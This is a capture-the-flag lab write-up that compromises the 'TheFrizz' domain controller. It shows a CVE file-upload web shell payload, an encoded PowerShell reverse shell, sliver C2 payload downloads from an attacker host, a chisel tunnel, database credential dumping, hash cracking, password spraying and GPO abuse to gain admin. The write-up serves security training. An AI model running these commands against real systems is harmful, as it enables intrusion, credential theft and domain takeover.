Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-17 19:20:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
59086/tcp open msrpc Microsoft Windows RPC
59090/tcp open msrpc Microsoft Windows RPC
59100/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-17T19:21:06
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h59m59s
Based on the nmap scan the target is the Domain Controller FRIZZDC
for the frizz.htb
domain. I’ll add the domain as well as the hostname and its FQDN to my /etc/hosts
file.
Execution
The web page at http://frizzdc.frizz.htb/home/
is for the Walkerville Elementary School and within the HTML source code I quickly find references to Gibbon-LMS. Checking out the loaded Javascript and CSS files it’s very likely that the version in use is 25.0.00.1611200873
.
A quick online search for known exploits finds CVE-2023-0025, a file upload vulnerability to upload arbitrary files. It comes with a proof-of-concept.
Making a POST request to /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
with the payload from the PoC returns a status code 200 indicating success and I can access the simple shell in /Gibbon-LMS/asdf.php
.
img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001
First I try the command whoami
and it returns frizz\w.webservice
, followed by another call to get a reverse shell.
$ curl "http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=whoami"
frizz\w.webservice
frizz\w.webservice
$ curl "http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=powershell+-e+JABjAGwAa<REDACTED>"
Privilege Escalation
Shell as f.frizzle
Next I create a new sliver beacon and upload it to C:\windows\temp\r.exe
. After executing the binary I get a callback on my team server and can interact with the target through the session.
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* Sets the database connection information.
* You can supply an optional $databasePort if your server requires one.
*/
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
/**
* Sets a globally unique id, to allow multiple installs on a single server.
*/
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
/**
* Sets system-wide caching factor, used to balance performance and freshness.
* Value represents number of page loads between cache refresh.
* Must be positive integer. 1 means no caching.
*/
$caching = 10;
In order to connect to the locally running MySQL database, I’ll open SOCKS proxy through chisel. My local listener (chisel server --port 1337 --reverse
) gets a callback and the proxy is now listening on port 1080.
sliver (thefrizz) > chisel client 10.10.10.10:1337 R:socks
[*] Successfully executed chisel
[*] Got output:
received argstring: client 10.10.10.10:1337 R:socks
os.Args = [chisel.exe client 10.10.10.10:1337 R:socks]
Task started successfully.
Through the newly established connection I access the database with proxychains and mysql. There’s only one user in the table gibbonperson
and I query the password hash and the corresponding salt for f.frizzle
.
$ proxychains -q mysql -u 'MrGibbonsDB' \
-p'MisterGibbs!Parrot!?1' \
-D gibbon \
-h 127.0.0.1 \
--skip-ssl \
--silent
MariaDB [gibbon]> select username,passwordStrong,passwordStrongSalt from gibbonperson;
username passwordStrong passwordStrongSalt
f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489
The hashing algorithm used by Gibbon-LMS is SHA256 and uses the format $salt.$password
1. According to the example_hashes this can be cracked with mode 1420
in hashcat. Cracking takes a few seconds and the credentials f.frizzle:Jenni_Luvs_Magic23
are recovered.
$ hashcat -m 1420 \
'067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489' \
/usr/share/wordlists/rockyou.txt
--- SNIP ---
06<REDACTED>89:Jenni_Luvs_Magic23
Having a look at the group memberships for the user f.frizzle
I can spot the Remote Management Users
group, meaning I can probably get an interactive shell on the target.
sliver (thefrizz) > execute -o cmd /c net user /domain f.frizzle
[*] Output:
User name f.frizzle
Full Name fiona frizzle
Comment Wizard in Training
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/29/2024 7:27:03 AM
Password expires Never
Password changeable 10/29/2024 7:27:03 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/17/2025 2:03:19 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
Unfortunately WinRM is not available so I have to resort to SSH, but first I have to set up my krb5.conf
with the correct values. A small Python script helps with that.
$ python3 configure_krb5.py frizz.htb frizzdc
[*] This script must be run as root
[sudo] password for ryuki:
[*] Configuration Data:
[libdefaults]
default_realm = FRIZZ.HTB
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
}
[domain_realm]
frizz.htb = FRIZZ.HTB
.frizz.htb = FRIZZ.HTB
[!] Above Configuration will overwrite /etc/krb5.conf, are you sure? [y/N] y
[+] /etc/krb5.conf has been configured
Then I can request a new TGT with getTGT from impacket while faking the time since the Domain Controller is 7 hours ahead. The ticket is saved in f.frizzle.ccache
and I export this as environment variable KRB5CCNAME
. This way SSH can use it to authenticate to the host. It drops me into a Powershell session where I download my sliver binary and execute it.
$ faketime -f +7h impacket-getTGT 'frizz.htb/f.frizzle':'Jenni_Luvs_Magic23'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in f.frizzle.ccache
$ export KRB5CCNAME=f.frizzle.ccache
$ faketime -f +7h ssh -K f.frizzle@FRIZZ.HTB@FRIZZDC.FRIZZ.HTB
PowerShell 7.4.5
PS C:\Users\f.frizzle> iwr http://10.10.10.10/thefrizz.exe -useba -outfile r.exe
PS C:\Users\f.frizzle> .\r.exe
Shell as m.schoolbus
Poking around on the system I find an interesting file in the trash bin. Through the C2 session I download the 7z archive to my host.
sliver (thefrizz) > nps ls C:\\$RECYCLE.BIN\\S-1-5-21-2386970044-1145388522-2932701813-1103 -force
[*] nps output:
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/29/2024 7:31:09 AM 148 $IE2XMEG.7z
-a---- 10/24/2024 9:16:29 PM 30416987 $RE2XMEG.7z
-a-hs- 10/29/2024 7:31:09 AM 129 desktop.ini
sliver (thefrizz) > download C:\\$RECYCLE.BIN\\S-1-5-21-2386970044-1145388522-2932701813-1103\\$RE2XMEG.7z RE2XMEG.7z
[*] Wrote 30416987 bytes (1 file successfully, 0 files unsuccessfully) to RE2XMEG.7z
Extracting the archive and grepping for the string password
returns quite a few hits but limiting the search on the conf
folder spits out an interesting line in waptserver.ini
. The password is encoded in base64 and decoding it returns !suBcig@MehTed!R
.
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
Since the configuration does not specify any account I decide to spray the password against all users and only one hit for m.schoolbus
comes back. That account is also part of the Remote Management Users
group and therefore I can get a shell via SSH and run my sliver payload.
sliver (thefrizz) > c2tc-spray-ad '!suBcig@MehTed!R' * kerberos
[*] Successfully executed c2tc-spray-ad (coff-loader)
[*] Got output:
[+] Password correct for useraccount: M.SchoolBus
--------------------------------------------------------------------
[+] Password correct for useraccount(s):
M.SchoolBus
--------------------------------------------------------------------
Program execution time: 0.33 seconds
Domain tested: frizz.htb
Applied LDAP filter: (&(objectClass=user)(objectCategory=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(sAMAccountName=*))
Password tested: !suBcig@MehTed!R
Total AD accounts tested: 19
Failed Kerberos authentications: 18
Successful Kerberos authentications: 1
Shell as Administrator
Through bloodhound-python-ce I collect the necessary information for BloodHound.
$ faketime -f +7h bloodhound-ce-python -k \
-d frizz.htb \
-dc frizzdc.frizz.htb \
-u f.frizzle \
-p Jenni_Luvs_Magic23 \
-c ALL \
--zip \
--dns-tcp \
-ns 10.129.128.240
Inspecting interesting edges in BloodHound finds a way from m.schoolbus
to the domain object. The account can link a GPO to the Domain Controllers organizational unit.
To abuse this edge I first create a new Group Policy Object called ryuki
that I link to the OU containing the Domain Controller. Then I use SharpGPOAbuse to add m.schoolbus
to the local admin group. Last but not least I update the policies on the target host.
sliver (thefrizz) > execute -o powershell -c 'New-GPO -Name ryuki | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes'
[*] Output:
GpoId : 164bd8d4-c838-4c85-a12b-25dc9d0dfde1
DisplayName : ryuki
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2
sliver (thefrizz) > execute-assembly -- SharpGPOAbuse.exe --AddLocalAdmin --UserAccount m.schoolbus --GPOName ryuki
[*] Output:
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of m.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "ryuki" is: {058E4585-AEF2-465B-9D61-9B03F9E56F22}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{058E4585-AEF2-465B-9D61-9B03F9E56F22}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
sliver (thefrizz) > execute -o cmd /c gpupdate /force
[*] Output:
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
After the new GPO is in effect I spawn a new sliver session through RunasCs and while interacting with it I can see that the new group membership is applied. This way I can collect the final flag.
sliver (thefrizz) > execute-assembly /home/ryuki/tools/runascs/RunasCs.exe m.schoolbus '!suBcig@MehTed!R' "C:\\tools\\r.exe" -t 0
[*] Session 746e96bc thefrizz - 10.129.128.240:59477 (frizzdc) - windows/amd64 - Sat, 17 May 2025 17:40:27 CEST
[*] Output:
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-291d7f$\Default
[+] Async process 'C:\tools\r.exe' with pid 3216 created in background.
sliver (thefrizz) > use 746e96bc
sliver (thefrizz) > sa-whoami
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
UserName SID
====================== ====================================
frizz\M.SchoolBus S-1-5-21-2386970044-1145388522-2932701813-1106
GROUP INFORMATION Type SID Attributes
================================================= ===================== ============================================= ==================================================
frizz\Domain Users Group S-1-5-21-2386970044-1145388522-2932701813-513 Mandatory group, Enabled by default, Enabled group,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner,
Attack Path
flowchart TD subgraph "Execution" A(Gibbon-LMS on port 80) -->|CVE-2023-0025| B(Shell as webservice) end subgraph "Privilege Escalation" B -->|Access MySQL database| C(Hash for f.fizzle) C -->|Crack Hash| D(Shell as f.fizzle) D -->|Archive in RecycleBin| E(Password in config) E -->|Password Spray| F(Shell as m.schoolbus) F -->|Allows to Link GPO to DC| G(Membership in Administrators) G --> H(Shell as Administrator) end